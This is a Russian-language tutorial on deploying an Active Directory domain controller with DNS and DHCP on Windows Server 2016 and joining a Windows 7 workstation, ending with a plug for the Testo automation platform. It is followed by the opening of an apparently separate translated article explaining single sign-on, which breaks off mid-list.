Сетевое имя (hostname) это удобный способ идентификации узла в сети. Сетевое имя используется как альтернатива IP-адресу и позволяет не запоминать IP-адрес компьютера (при том, что этот адрес может меняться время от времени), а связываться с этим компьютером по его логическому названию.


Проблема в том, что по-умолчанию для Windows Server генерируется совершенно нечитаемое и неинформативное сетевое имя (я выделил его красным цветом на скриншоте).


Рабочии станции ещё могут позволить себе иметь нечитаемый Hostname, но никак не сервер. Поэтому я предлагаю поменять эту абракадабру его на что-то более разумное (например, на ADController), благо делается это быстро.


Смена сетевого имени

Нужно кликнуть на текущее имя сервера (отмечено красным цветом), затем во вкладке "Имя компьютера" нажать на кнопку "Изменить...", после чего ввести что-то более благоразумное:



После смены имени машину нужно будет перезагрузить.


Теперь зададим статический IP-адрес для сервера. В принципе это делать не обязательно, раз мы всё равно собрались поднимать DHCP службу, но на самом деле это хорошая практика, когда все ключевые элементы корпоративной сети имеют фиксированные адреса. Открыть меню по настройке сетевого адаптера можно из вкладки "Локальный сервер", кликнув на текущие настройки Ethernet-адаптера (тоже выделены красным цветом).


Настройки IP для интерфейса windows_server


Включаем нужные компоненты


Для нашего стенда нам понадобится включить следующие сервисы (или, как они тут называются, роли) на Windows Server:


  • Доменные службы Active Directory;
  • DNS-сервер;
  • DHCP-сервер.

Пройдемся вкратце по каждому из них.


Доменные службы Active Directory


Эта роль фактически "включает" технологию Active Directory на сервере и делает его контроллером домена (под доменом в технологии AD понимается группа логически связанных объектов в сети). Благодаря этой роли администратор получает возможность управлять объектами в сети, а также хранить информацию о них в специальной распределенной базе данных.


Эта база данных содержит всю информацю об объектах в сети (например, именно в неё заносится информация об учётных записях пользователей). Когда человек подходит к рабочей станции и пытается выполнить вход в свою доменную учётную запись, эта рабочая станция связывается с контроллером домена с запросом на аутентификацию, и в случае успеха загружает пользовательский рабочий стол.


Однако, что же делать, если контроллер домена выйдет из строя (или просто будет недоступен для рабочих станций)? Если вы настроили только один контроллер домена, то дела ваши довольно плохи без связи с рабочим контроллером домена пользователи не смогут выполнить вход на свои рабочие места. Поэтому в реальных сетях всегда рекомендуется устанавливать как минимум два контроллера на каждый домен. Каждый контроллер домена участвует в так называемом механизме репликации, благодаря чему все контроллеры домена имеют полную копию базы данных со всеми объектами в домене. Если по какой-то причине один из контроллеров выйдет из строя, его место всегда может занять резервный котнроллер и пользователи даже ничего не заметят.


Однако этот туториал рассчитан на простое ознакомление с технологией AD "на виртуалках", поэтому здесь не будет рассматриваться вопрос создания нескольких контроллеров AD в одном домене.


С этим пунктом все более менее понятно, а зачем же нам включать дополнительно ещё DNS-сервер?


DNS-сервер


Обычно протокол DNS (Domain Name System) используется для обращения к узлам в сети не по их IP-адресу, а по доменному имени (строковый идентификатор), что, конечно, гораздо удобнее. Другими словами, DNS чаще всего используется для разрешения доменных имен.


Но область применения протокола DNS не ограничивается только сопоставлением хостового имени и IP-адреса, что как раз подтверждает технология Active Directory. Дело в том, что Microsoft решила построить технологию Active Directory не с нуля, а на основе протокола DNS. В частности, протокол DNS используется при определении местонахождения всех ключевых сервисов Active Directory в сети. Другими словами, рабочая станция при подключении к контроллеру домена понимает, "куда" ей надо обращаться, именно с помощью протокола DNS.


Все DNS-записи (в том числе с информацией о сервисах Active Directory) хранятся на DNS-сервере, а это значит, что нам нужно заиметь свой собственный DNS-сервер! Вот только вопрос, откуда его взять? Есть два варианта:


  1. Использовать отдельную машину в роли DNS-сервера;
  2. Использовать саму машину windows_server в роли DNS-сервера.

Первый вариант, безусловно, самый правильный именно так и надо поступать при реальном администрировании сетей (чем больше вы разносите логику по разным узлам в сети тем лучше). Но в учебных целях я решил выбрать второй вариант (хотя бы потому что не придётся создавать ещё одну виртуальную машину).


Именно поэтому эту роль (DNS-сервера) тоже нужно добавить к ролям машины windows_server.


Кстати, если не добавить роль "DNS-сервер" сейчас, то в будущем у вас ещё будет такая возможность при конфигурировании контроллера домена AD.


DHCP-сервер


Протокол DHCP (Dynamic Host Configuration Protocol) нужен для автоматической выдачи сетевых настроек узлам в сети. Под сетевыми настройками понимается IP-адрес, адрес шлюза по-умолчанию, адрес DNS-сервера, и ещё ряд других настроек. Этот протокол чрезвычайно удобен при администрировании сетей, особенно больших.


В этом туториале я использую протокол DHCP чтобы рабочая станция workstation могла получить сетевые настройки (в частности, адрес DNS-сервера) без каких-либо действий с моей стороны.


Протокол DHCP не имеет никакого отношения к технологии Active Directory, и можно было бы обойтись вовсе без него (достаточно прописать все сетевые настройки на рабочей станции самостоятельно), но я решил включить этот протокол в данный туториал просто для общего ознакомления. К тому же, такая связка "Контроллер AD DNS-сервер DHCP-сервер" довольно часто встречается в реальной жизни, потому что это очень удобный набор сервисов.


При этом вопрос о том, стоит ли выделять отдельную машину под DHCP-сервер, остаётся открытым. Для небольших сетей однозначно не стоит разносить DNS и DHCP-серверы по разным машинам, но для больших сетей, возможно, имеет все-таки смысл задуматься об этом. В нашей же крошечной сети мы абсолютно ничего не потеряем, если включим DHCP-сервер на той же машине, что и DNS-сервер.


Что ж, довольно теории, давайте лучше перейдём к включению этих самых ролей.


Мастер добавления ролей и компонентов


Возвращаемся на панель мониторинга (самый первый скриншот) и щелкаем на пункт "Добавить роли и компоненты". Вас поприветствует мастер добавления ролей и компонентов. Первый экран ("Перед началом работы") пропускаем, он совсем неинтересный, а вот дальше идёт экран "Выбор типа установки"


Выбор типа установки


Нас устраивает значение по-умолчанию (Установка ролей или компонентов"), но интересен и второй пункт он позволяет задействовать ещё одну возможность Windows Server инфраструктуру виртуальных рабочих мест (Virtual Desktop Environment VDI). Эта интереснейшая технология позволяет, буквально, виртуализировать рабочее место. То есть для пользователя создаётся виртуальное рабочее место, к которому он может подключаться через тонкий клиент. Пользователь лишь видит картинку, тогда как само рабочее место может совершенно прозрачно работать где угодно.


Впрочем, технология VDI это отдельная большая тема, а в этом туториале надо сосредоточиться на контроллере AD, так что кликаем "Далее" и видим экран выбора целевого сервера.


Выбор целевого сервера


Мастер добавления ролей позволяет устанавливать роль не только на текущую машину, но вообще на любой добавленный сервер, и даже на виртуальный жёсткий диск. Да, если ваша Windows Server развернута на виртуальной машине (а это довольно частое явление), то вы можете администрировать эту виртуальную машину даже не запуская её! Понаблюдать за этим процессом можно, например, здесь.


Нам же такая экзотика ни к чему, так что просто выбираем единственный возможный сервер (обратите внимание, что он теперь называется ADController место непонятной абракадабры), жмём "Далее" и, наконец, попадаем на экран выбора ролей, которые нужно добавить.


Выбор добавляемых ролей


Выбираем три роли, о которых уже говорили ранее, и продолжаем.


Выбор компонентов


Теперь необходимо выбрать дополнительные компоненты. В чём разница между ролью и компонентом, можете спросить вы? О, это не такой уж и лёгкий вопрос, честно говоря!


Согласно идеологии Microsoft, роль это набор программ, которые позволяют компьютеру предоставлять некоторые функции для пользователей в сети. Например, DNS, DHCP, контроллер домена AD это всё роли. А вот компоненты это набор программ, которые улучшают либо возможности ролей сервера, либо самого сервера.


При этом глядя на список "Компонентов" так сходу и не скажешь, что какие-то вещи в списке лишь "вспомогательные". Вот например, DHCP-сервер расценивается как роль, а WINS-сервер уже как компонент. А чем SMTP-сервер хуже DNS?


В общем-то, чёткой границы между ролью и компонентом не существует. Я лично предпочитаю относиться к ролям как к большим функциональным возможностям сервера, а к компонентам как к небольшим дополнительным аддонам.


В любом случае, дополнительные компоненты нам не нужны, так что кликаем "Далее".


После этого идёт несколько пояснительных экранов с информацией по каждой добавленной роли, но эту информацию я уже разбирал, поэтому останавливаться лишний раз не буду.


Подтверждение устанавливаемых ролей и компонентов


На экране подтверждения ещё раз видим все устанавливаемые роли и компоненты, после чего жмём "Установить".


Остаётся лишь дождаться, когда заполнится progress-bar, и перейти к следующему пункту туториала настройке контроллера домена AD.


Настраиваем контроллер домена Active Directory


Все роли и компоненты успешно добавлены, о чём свидетельствует следующий экран:



Вот только AD на сервере всё еще не работает для этого его необходимо донастроить. Для этого нам настойчиво предлагают "Повысить роль этого сервера до уровня контроллера домена".


Погодите-ка, ЧТО?!


А чем же я занимался последние 15 минут? Я же добавлял роли, и судя по сообщению, они успешно добавились! И тут меня снова хотят заставить добавлять какие-то новые роли? В чем-то тут подвох.


Подвох тут действительно имеется, но вообще в не самом очевидном месте. Вот так выглядит предыдущий скриншот в английской версии Windows Server (картинка из интернета).


Английская версия скриншота


Видите разницу? В английской версии ни слова ни про какие роли! Про повышение есть, про роли нет. Один из тех случаев, когда перевод вносит сумятицу на пустом месте. Согласно английской версии, никакими ролями мы дальше не занимаемся, что и логично, ведь мы их как раз только что добавили.


Что ж, тыкаем на предложение "Повысить роль этого сервера до уровня контроллера домена", и теперь нас привествует мастер настройки доменных служб Active Directory с предложением выбрать конфигурацию развёртывания.


Конфигурация развёртывания


Всего тут есть 3 варианта развития событий. Для того, чтобы выбрать правильный пункт, давайте сначала разберёмся, что эти пункты означают. В этом нам поможет вот такая картинка (картинка, если что, отсюда):



Технология Active Directory (как и DNS) подразумевает иерархическое построение имён на основе доменов. Домены могут выстраиваться в доменные деревья по принципу "родительско-дочерних" отношений. В основе дерева лежит так называемый корневой домен (на картинке выше это sources.com, xyz.com и abc.com). При этом домен может иметь сколько угодно потомков. Домен-потомок располагается в просранстве имён родителя и является его "поддоменом" (subdomain). У доменного имени домена-потомка есть дополнительный префикс относительно доменного имени родителя (rus.abc.com, eng.abc.com). Один корневой домен основывает только одно доменное дерево со своим независимым пространством имён.


Теперь представьте, что таких независимых деревьев может быть много в этом случае эти деревья образуют структуру, которая называется "лес". При этом в Active Directory доменные деревья не могут быть "сами по себе" они обязательно должны находиться в лесу (даже если лес будет состоять всего из одного-единственного домена). Первый домен, который добавляется в лес, называется корневым доменом леса (на рисунке выше это sources.com). Корневой домен леса используется для идентификации всего леса (то есть если корневой домен называется sources.com, то и весь лес называется sources.com).


Теперь возвращаемся к мастеру настройки доменных имен. На этом этапе мастер предлагает следующие варианты:


  1. Добавить контроллер домена в существующий домен (помните про резервирование контроллеров в домене, так ведь?). Этот вариант не для нас, ведь домена ещё никакого нет;
  2. Добавить новый домен в лес. Этого мы тоже сделать не можем, т.к. и леса у нас тоже никакого нет;
  3. Добавить новый лес. Это вариант как раз для нас. При этом нам тут же предлагают выбрать корневой домен для этого леса (первый домен, который будет создан в лесу).

Назовём корневой домен mydomain.com и кликнем "Далее"


Параметры контроллера домена


Рассмотрим возможные параметры:


  1. Режим работы леса и домена. Домены в одном лесе могут работать в разных режимах в зависимости от версии Windows Server на борту. Лес должен иметь режим не выше, чем самый "старый" домен в его составе. Т.к. мы планируем использовать только Windows Server 2016, то оставим этот режим и для леса и для домена;
  2. DNS-сервер. Если ранее Вы не активировали роль DNS-сервера в мастере добавления ролей, то можете сделать это сейчас (вам даже предложат такой вариант по-умолчанию);
  3. Должен ли контроллер домена выступать в роли Global Catalog-сервера;
  4. Включить ли режим базы данных Active Directory "только на чтение". Основная задача, которую преследует технология RODC возможность безопасной установки собственного контролера домена в удаленных филиалах и офисах, в которых сложно обеспечить физическую защиту сервера с ролью DC. Контроллер домена RODC содержит копию базы Active Directory, доступную только на чтение. Это означает, что никто, даже при получении физического доступа к такому контроллеру домена, не сможет изменить данные в AD (в том числе сбросить пароль администратора домена) (информация взята отсюда)

А вот пункт 3 рассмотрим поподробнее, он довольно интересный.


Как я уже упоминал выше, каждый контроллер домена имеет полную и исчерпывающую инофрмацию обо всех объектах в своём домене. Если же в домене несколько контроллеров, то они ещё и участвуют в механизме репликации, поддерживая несколько актуальных копий базы данных с объектами домена. Получается, что рабочая станция в домене может узнать информацию о любом объекте из этого домена от своего ближайшего контроллера домена.


Но что же делать, если рабочей станции нужно получить информацию об объекте из другого домена? И вот тут в дело вступает ещё один важнейший механизм технологии Active Directory, который разывается глобальный каталог.


Что такое вообще "Глобальный каталог"? Согласно Miscrosoft это распределенное хранилище данных, которое хранит частичное представление обо всех AD-объектах в лесу. Это хранилище располагается на котроллерах домена, которые имеют дополнительную роль "Global Catalog Server" (Сервер глобального каталога). От обычного кнтроллера домена GC-сервер отличается в первую очередь тем, что помимо полной копии всех объектов в своем домене, хранит также частичную информацию обо всех объектах в других доменах леса.


Чего это позволяет достичь? Давайте представим, что рабочая станция запросила информацию об объекте из другого домена. Она обращается на GC-сервер с просьбой предоставить ей информацию об этом объекте. GC-сервер, в свою очередь, может:


  1. Либо отдать рабочей станции нужную информацию сразу (если эта информация у GC-сервера имеется);
  2. Либо перенаправить запрос к нужному контроллеру домена, где эта информация точно будет находиться. Чтобы понять, какому контроллеру домена нужно перенаправить запрос, как раз и происходит поиск по GC.

Информация о том, какие атрибуты попадают в глобальный каталог, определена в Partial Attribute Set (PAS), который может настраивать администратор AD. Например, если администроатр понимает, что рабочие станции часто будут обращаться к атрибуту, который не содержится в глобальном каталоге, он может добавить туда этот атрибут. Тогда запросы рабочих станций при чтении этого атрибута будут выполняться значительно быстрее, т.к. уже ближайший GC-сервер сможет предоставить им всю нужную информацию.


Однако, если в лесе всего один домен (как у нас), то Глобальный каталог содержит полную копию объектов в домене и всё.


Что ж, возвращаемся к галочке GC, которую за нас уже проставил мастер настройки доменных служб. Если вы попробуете её отключить, то убедитесь, что отключить её нельзя. Это связано с тем, что каждый домен в AD должен иметь хотя бы один GC-сервер, и при добавлении первого контроллера в домен этот контроллер сразу помечается как GC-сервер.


Что ж, давайте согласимся с этим "выбором" мастера и перейдём к последнему параметру на этом скриншоте к паролю для режима восстановления служб каталогов. Это особый режим безопасной загрузки Windows Server, который позволяет администратору работать с базой данных AD. Этот режим применяется, например, в следующих случаях:


  • база Active Directory повреждена и нуждается в исправлении;
  • требуется выполнить обслуживание базы данных AD (сжатие, анализ на наличие ошибок);
  • требуется восстановить резервную копию базы данных AD;
  • требуется сменить пароль администратора.

Да да, вы не ослышались. Чтобы просто восстановить резервную копию базы данных, нужно перезагрузить машину и загрузиться в особом "безопасном" режиме. Это вам не Linux какой-нибудь.


Фух, вроде разобрались. Давайте перейдем дальше на шаг, где нам предложат настроить делегирование DNS.


Делегирование DNS


Что такое делегирование DNS? По большей части, это передача ответственности за некоторую DNS-зону отдельному DNS-серверу. Это распространенная практика в больших сетях, в которых требуется разграничить зоны ответственности за доменные зоны между различными серверами. При делегировании DNS в "главный" DNS-сервер вносится запись о том, что "вот за эту DNS-зону несёт ответственность вон тот DNS-сервер, обращайся туда".


Т.к. у нас всего одна зона DNS и DNS-сервер тоже один, то этот шаг нам необходимо пропустить и перейти к выбору NetBIOS-имени.


NetBIOS-имя


Мы видим, что мастер предложил нам на выбор сразу же имя для нашего домена MYDOMAIN. Но вы можете (и должны) задать себе вопрос: а что такое вообще NetBIOS-имя и зачем оно нужно? И разве мы уже не настраивали сетевое имя узла (Hostname) в самом начале? Чего же от вас хотят?


NetBIOS (Network Basic Input/Oputout) это ещё один способ разрешения имён узлов в сети (более древний и более примитивный, чем DNS). NetBIOS-имена не предполагают никакой иерархии, их длина ограничивается всего лишь 16 символами, и они применяются только для разрешения имён компьютеров в локальной сети. Когда мы в самом начале туториала выбрали сетевое имя ADController мы, на самом деле, задали именно NetBIOS-имя для сервера. Но теперь от нас снова требуют выбрать NetBIOS-имя (да ещё и другое, отличное от ADContoller). Не много ли NetBIOS-имён для одного компьютера?


Дело в том, что Microsoft пошла ещё дальше и ограничила длину NetBIOS-имен не 16 символами, а 15 символами. 16-ый символ при этом считается зарезервированным суффиксом, который может принимать фиксированные значения. В зависимости от значения 16-го байта получаются разные классы NetBIOS-имён. Например, если суффикс равен 00, то NetBIOS-имя относится к рабочей станции. Если суффикс равен 1С, то это имя относится к имени домена.


То есть, как вы понимаете, на первом шаге мы задавали NetBIOS-имя для компьютера Windows Server (с суффиком 00). А теперь задаём NetBIOS-имя домена mydomain.com (с суффиксом 1С).


Кстати, можете, ради интереса, отмотать туториал в самое начало и посчитать количество символов в "нечитаемом" автоматически сгенерированном сетевом имени windows_server. Будет как раз 15 символов (максимальная длина NetBIOS-имени).


И напоследок скажу, что вы не можете пропустить этот шаг. NetBIOS хоть и устаревшая технология, но до сих пор используется ради совместимости с некоторыми старыми службами. Настроить контроллер домена Active Directory без NetBIOS-имени нельзя.


Что ж, и с этим тоже разобрались. Оставляем NetBIOS-имя по-умолчанию и двигаемся дальше, к выбору места расположения базы данных AD. Можно оставить значение по-умолчанию, комментировать особо нечего.


Расположение базы данных


Все ваши настройки должны пройти предварительную проверку:


Проверка предварительных требований


Как только всё готово, жмите "Установить" и спокойно идёте пить чай, потому что после установки автоматически начнётся очень-очень долгая перезагрузка. Зато настройка контроллера домена AD на этом закончена, поздравляю!


Настройка DHCP-сервера


Пришло время заняться настройкой DHCP-сервера. Настройка глобально состоит из двух частей:


  1. Авторизация DHCP-сервера в домене AD. Не каждый DHCP-сервер может раздавать сетевые настройки в домене AD только авторизованные. Это сделано с целях безопасности, чтобы другие DHCP-серверы не могли "подсунуть" неправильные настройки компьютерам в домене;
  2. Настройка новой DHCP-области. Это уже непосредственно настройка самого DHCP-сервера, в ходе которой определяются какие сетевые настройки будут выдаваться компьютерам в сегменте сети.

Для того, чтобы авторизировать DHCP-сервер, нужно вернуться на панель мониторинга (она и так должна быть перед вами после перезагрузки), перейти на вкладку DHCP (слева) и кликнуть на предложение донастроить DHCP-сервер:


Запуск авторизации DHCP-сервера




В открывшемся мастере настройки DHCP после установки пропускаем первый приветственный экран и переходим к экрану авторизации


Авторизация DHCP-сервера в домене


На выбор предлагаются три варианта:


  1. Использовать учётные администратора (по-умолчанию)
  2. Использовать учётные данные другого пользователя;
  3. Пропустить авторизацию AD.

По-умолчанию авторизовать DHCP-сервер в домене могут только члены группы EnterpriseAdmins, куда как раз и входит пользователь MYDOMAIN\Администратор. При желании можно потратить немного времени и делегировать эту возможность админам "помельче" (региональным администраторам), подчерпнуть больше информации по этой теме можно отсюда.


Итак, выбираем вариант по-умолчанию и завершаем первый этап настроки DHCP-сервера.


Завершение авторизации DHCP-сервера


Теперь переходим непосредственно к настройкам DHCP. Для этого на панели мониторинга кликаем вкладку "Средства" и выбираем пункт "DHCP"



В открывшемся окне с настройками DHCP нужно кликнуть правой кнопкой мышки на IPv4 и затем на пункт меню "Создать область". После этого откроется мастер создания новой области.


Открытие мастера создания новой области



Что такое DHCP-область? Под этим понимается некий диапазон IP-адресов, которые может выдавать DHCP-сервер другим компьютерам в сети. Каждая область помимо диапазона IP-адресов также содержит другие сетевые настройки, с которыми мы сейчас и познакомимся.


Назовём DHCP-область SCOPE1 и перейдём дальше.


На следующем экране вам предложат выбрать диапазон адресов, которые будут выдаваться компьютерам в сети. Ранее я настраивал сетевой интерфейс на Windows Server, выдав ему адрес 192.168.1.1/24. Это статический адрес и он зарезервирован, его выдавать другим компьютерам нельзя.


Зато никто не мешает выдавать все остальные адреса в сети 192.168.1.0/24 так что задаём диапазон от 192.168.1.2 до 192.168.1.254 (192.168.1.255 это зарезервированный широковещательный адрес, его выдавать тоже нельзя).


Настройка диапазона адресов


В целом, никто не мешает вам как администратору выдавать меньше IP-адресов, чем доступно в адресации сети. Например, можно было бы выделить в сети всего 100 адресов для автоматической выдачи: 192.168.1.101-192.168.1.200.


Переходим далее и видим предложение о выборе исключений из указанонного диапазона адресов, а также о настройке задержки при передаче сообщения DHCPOFFER


Исключения в диапазоне и задержка DHCPOFFER


С исключениями всё более-менее понятно: если вы не хотите выдавать некоторые адреса в указанном ранее диапазоне, то вы можете указать эти адреса здесь в виде исключений. А что за задержка в DHCPOFFER такая?


Эта настройка уже относится к довольно продвинутому администрированию сетей: если в вашей сети есть несколько DHCP-серверов, то с помощью этой задержки вы можете регулировать нагрузку между ними (подробнее можно прочитать, например, тут).


В любом случае, исключений в диапазоне у нас нет, да и задержка по-умолчанию нас устраивает, так что кликаем дальше и видим настройку сроков аренды адресов.


Настройка времени аренды адресов


Протокол DHCP предполагает выделение адресов только на определённое время, после чего компьютеры должны продлять аренду. Здесь можно настроить это время (по-умолчанию 8 дней).


8 дней меня лично вполне устраивает, так что кликаем "Далее" и видим предложение настроить другие настройки, которые будут получать клиенты в сети (помимо IP-адреса). Соглашаемся.


Настроить дополнительные параметры


Первая сетевая настройка для клиентов это шлюз по-умолчанию. В стенде из двух виртуальных машин эта настройка в принципе не нужна, можно представить, что windows_server будет играть роль шлюза во внешнюю сеть, и добавить адрес 192.168.1.1 как шлюз по-умолчанию.


Шлюз по-умолчанию


Далее идет настройка DNS. Здесь можно задать имя родительского домена и адреса DNS-серверов. С адресами DNS-серверов всё более-менее понятно это IP-адреса серверов, куда следует обращаться клиентам за помощью в разрешении DNS-имён. Сейчас в этом списке фигурирует тот же адрес, что мы добавили как шлюз по-умолчанию.


А вот для понимания имени родительского домена, рассмотрим следующую ситуацию.


Допустим, есть домен mydomain.com и есть два компьютера в этом домене с именами comp1.mydomain.com и comp2.mydomain.com. Если comp1 хочет связаться с comp2, то он должен, по-хорошему, использовать следующую команду (обращение по Fully Qualified Domain Name FQDN):


ping comp2.mydomain.com

Но задумывались ли вы когда-нибудь, что именно произойдет, если попытаться пропинговать другой узел следующим образом?


ping comp2

На самом деле, в этом случае начинается целая магия очень хитрый процесс разрешения имён (картинка из интернетов).


Процесс разрешения сетевых имён


  1. Поиск информации в hosts.txt или в кеше;
  2. Попытка найти имя через DNS;
  3. Попытка найти NetBIOS-имя в кеше;
  4. Попытка найти NetBIOS-имя через WINS-сервер;
  5. Попытка найти NetBIOS-имя путём отправки широковещательных пакетов в локальную сеть;
  6. Попытка найти NetBIOS-имя в LMHOSTS-файле.

Согласно алгоритму разрешения сетевых имен, сначала comp1 попробует найти информацию о comp2 в hosts.txt файле. Если этой информации там не окажется, то начинается процесс поиска узла через DNS. Вот только вопрос DNS-имена же находятся в каком-то домене, верно? Какое доменное имя нужно "пристыковать" к comp2 при выполнении пинга?


Вот тут в дело и вступает настройка DHCP, которая называется "имя родительсокго домена". Это как раз тот суффикс, который будет автоматически "пристыкован" к имени comp2 при выполнении DNS-разрешения имени. Так что если имя родительского домена равно "mydomain.com", то команда ping comp2 неявно преобразуется в ping comp2.mydomain.com.


Если же DNS-разрешение окажется неудачным, дальше начнутся попытки найти comp2 уже по NetBIOS-имени. Что такое WINS, и чем он отличается от Broadcast информация будет чуть дальше по тексту.


Что ж, в нашем случае имя родительсокго домена должно быть mydomain.com (значение по-умолчанию), а нужный DNS-сервер уже находится в списке, так что в итоге просто кликаем "Далее".


Настройки DNS


Теперь нас попросят указать настройки WINS-сервера. WINS (Windows Internet Name Service) сервер участвует в разрешении NetBIOS-имён в сети (прямо как DNS-сервер для DNS-имён). Вот только, в отличие от DNS, WINS-сервер не обязательно должен присутствовать в сети, чтобы разрешение NetBIOS-имён работало. Так зачем же он нужен тогда?


Дело в том, что по-умолчанию разрешение NetBIOS-имен происходит через широковещательные запросы. С одной стороны, это очень простой механизм (проще не придумаешь), но, с другой стороны, обладает парой недостатков:


  1. При наличии большого количества NetBIOS-имён в сети широковещательный тафик может начать "зашумлять" канал;
  2. Широковещательные запросы не могут "выйти" за пределы текущей сети, поэтому узнать NetBIOS-имя из другой сети таким способом не выйдет.

Так вот, WINS-сервер позволяет решить обе этих проблемы. Этот сервер централизованно хранит NetBIOS-имена компьютеров, и обычные узлы в сети могут обращаться к нему для поиска IP-адреса интересующего их имени (как и для DNS). Такой подход, во-первых, резко уменьшает количество широковещательного трафика в сети, а, во-вторых, позволяет посылать NetBIOS-запросы в другие сети, а не только в текущую.


В нашей небольшой сети WINS-сервер нам ни к чему, поэтому просто пропускаем эту настройку и едем дальше.


WINS-серверы


В последнем шаге настройки вам предлагают сразу активировать настроенную область. Соглашаемся, и на этом заканчиваем настройку DHCP.


Активация области


Создаём нового пользователя в домене AD


Собственно настройка контроллера домена и различных сервисов уже фактически закончена, все параметры выставлены как надо. Теперь нужно просто зарегистрировать нового пользователя, от имени которого рабочая станция workstation будет выполнять вход в домен.


Для этого возвращаемся на панель мониторинга, кликаем на "Средства" и затем на "Пользователи и Компьютеры Active Directory"



В открывшемся меню можно заметить созданный домен mydomain.com и его состав. Видно, что помимо пользователей в домене созданы папочки для Computers, Domain Controllers и других сущностей. Но нас сейчас интересуют пользователи, поэтому кликаем правой кнопкой мышки на папке Users и выбираем "Создать" -> "Пользователь"



После этого появляется диалоговое окно с преложением ввести данные нового пользователя. По старой доброй традиции назовём пользователя Foo Bar. Обратите внимание, что пользователь отображается лишь как "Объект" в Active Directory наравне с другими объектами.


Новый объект - Пользователь


Теперь необходимо задать пароль и дополнительные параметры для пользователя. Пароль должен соответсовать политике паролей по-умолчанию, которая, в том числе, предписыват паролям в домене быть довольно сложными (должен использовать числа, буквы верхнего и нижнего регистра, а также спец символы).


Обычно администратор создаёт простой пароль для пользователя, а затем требует от пользователя сменить его при первом входе в систему (первая галочка в списке доступных опций). Это очень хорошая практика с точки зрения безопасности, ведь таким образом даже администратор AD не сможет узнать пароль пользователя. Также хорошей практикой считается ограничивать срок действия пароля. В этом туториале для простоты мы уберём требование о смене пароля пользователем при врходе в систему.


Параметры нового пользователя


После этого останется лишь подтвердить создание нового пользователя.


Подтверждение создания нового пользователя


Ну что ж, вот, кажется, и всё! Осталось лишь проверить ввод рабочей станции в домен.


Ввод рабочей станции в домен


Переключаемся на вторую машину workstation под управлением Windows 7 и заходим в свойства системы. Сейчас видно, что рабочая станция находится в рабочей группе (не в домене). Кстати говоря, WORKGROUP это тоже NetBIOS-имя. Только в отличии от имени домена оно имеет суффикс 1E.



Щелкаем на кнопку "Изменить параметры", затем в появившемся окне ещё раз "Изменить...".


В окне изменения имени компьютера пишем, что он должен принадлежать домену mydomain.com.


Подключение к домену


Видим предупреждение о нестандартном имени компьютера (testo-ПК содержит кириллицу). Это связано с тем, что NetBIOS-имена не могут содеражать кириллицу. Но мы с вами настроили DNS-сервер (DNS настройки прилетели на рабочую станцию по DHCP), а DNS-механизм разрешения имён, как мы знаем, имеет приоритет перед NetBOIS. Так что в данном случае на работоспособность AD кириллица не влияет. Но на практике так делать не надо!


Нестандартное имя компьютера


Вводим логин-пароль от новой учетной записи FooBar и, наконец, видим заветное сообщение "Добро пожаловать в домен"


Авторизация в домене



После ввода компьютера в домене необходимо перезагрузить компьютер, ну а дальше вводим учётные данные пользователя в AD.


Логин в AD


И после успешного входа на рабочий стол перепроверяем свойства системы.


Новые свойства системы


Полное имя компьютера поменялось на testo-ПК.mydomain.com, а это значит, что мы успешно ввели рабочую станцию в домен mydomain.com.


Автоматизируем


Как вы могли заметить, весь туториал можно выполнить, пользуясь исключительно мышкой и клавиатурой. Больше того, нам даже не пригодились знания PowerShell, который позволяет выполнять бОльшую часть настройки контроллера домена AD с помощью скриптов.


Так почему бы не автоматизировать все действия с клавиатурой и мышкой, которые мы предпринимали? И нет, я говорю не об AutoIT, я говорю о платформе Testo, создателем которой я являюсь. Эта платформа позволяет фиксировать все действия, проводимые с виртуальными машинами, в виде скриптов на специальном языке Testo-lang. Ну а Testo затем превратит эти скрипты обратно в действия.


Я приведу лишь один скриншот с кусочком скрипта, чтобы у вас сложилось представление о том, о чём я говорю (да, именно скриншот, ведь хабр не умеет подсвечивать скриповый язык Testo-lang). Я даже не буду комментировать этот скрипт, т.к. верю, что код говорит сам за себя.


Секция скрипта на языке Testo-lang


Я не буду сейчас рассказывать о платформе Testo и о её возможностях. Для этого есть отдельная статья на хабре. Вместо этого предлагаю просто увидеть своими глазами, как это работает:



Всё, что Вам потребуется для создания собственного стенда с настроенной Active Directory это:


  1. Установочный iso-образ Windows Server 2016 русской версии;
  2. Установочный iso-образ Windows 7 (придётся поискать самим);
  3. Скрипты на языке Testo-lang;
  4. Установленная платформа Testo (бесплатно);
  5. Выполнить команду.

sudo testo run ./tests.testo --param ISO_DIR /path/to/your/iso/dir

И всё. Как и я обещал всего одна команда. Через пол часа час (зависит от шустрости вашего компьютера) вы сможете наслаждаться своим готовым стендом.


Итоги


Надеюсь, вам понравился туториал, и вы нашли его полезным. Возможно, вас заинтересовала платформа Testo, в этом случае вот несколько полезных ссылок:


  • сайт платформы Тесто.
  • youtube-канал, где можно найти много примеров.
  • основная статья на хабре
  • статья, где я автоматизировал несколько системных тестов для Dr. Web
  • скрипты на языке Testo-lang для этого туториала
Подробнее..

Перевод Как работает single sign-on (технология единого входа)?

17.06.2021 16:13:58 | Автор: admin

Что такое single sign-on?


Технология единого входа (Single sign-on SSO) метод аутентификации, который позволяет пользователям безопасно аутентифицироваться сразу в нескольких приложениях и сайтах, используя один набор учетных данных.


Как работает SSO?


SSO базируется на настройке доверительных отношений между приложением, известным как провайдер услуг, и системой управления доступами, например, OneLogin. Такие доверительные отношения часто базируются на обмене сертификатом между системой управления доступами и провайдером услуг. Такой сертификат может использоваться, чтобы обозначить идентификационную информацию, которая отправляется от системы управления доступами провайдеру услуг, таким образом провайдер услуг будет знать, что информация поступает из надежного источника. В SSO идентификационные данные принимают форму токенов, содержащих идентификационные значения информации о пользователе такие, как email или имя пользователя.


Порядок авторизации обычно выглядит следующим образом:


  1. Пользователь заходит в приложение или на сайт, доступ к которому он хочет получить, то есть к провайдеру услуг.
  2. Провайдер услуг отправляет токен, содержащий информацию о пользователе (такую как email адрес) системе SSO (так же известной, как система управления доступами), как часть запроса на аутентификацию пользователя.
  3. В первую очередь система управления доступами проверяет был ли пользователь аутентифицирован до этого момента. Если да, она предоставляет пользователю доступ к приложению провайдера услуг, сразу приступая к шагу 5.
  4. Если пользователь не авторизовался, ему будет необходимо это сделать, предоставив идентификационные данные, требуемые системой управления доступами. Это может быть просто логин и пароль или же другие виды аутентификации, например одноразовый пароль (OTP One-Time Password).
  5. Как только система управления доступами одобрит идентификационные данные, она вернет токен провайдеру услуг, подтверждая успешную аутентификацию.
  6. Этот токен проходит сквозь браузер пользователя провайдеру услуг.
